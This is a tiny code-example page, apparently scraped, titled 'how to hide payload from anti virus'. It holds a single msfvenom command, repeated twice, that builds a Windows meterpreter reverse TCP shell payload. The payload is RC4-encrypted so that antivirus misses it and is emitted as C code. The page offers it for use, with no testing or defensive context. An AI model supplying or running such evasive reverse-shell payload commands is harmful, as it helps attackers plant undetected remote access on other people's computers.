metasploit reverse shell is virus windows code example
Example: how to hide payload from anti virus
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c
ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c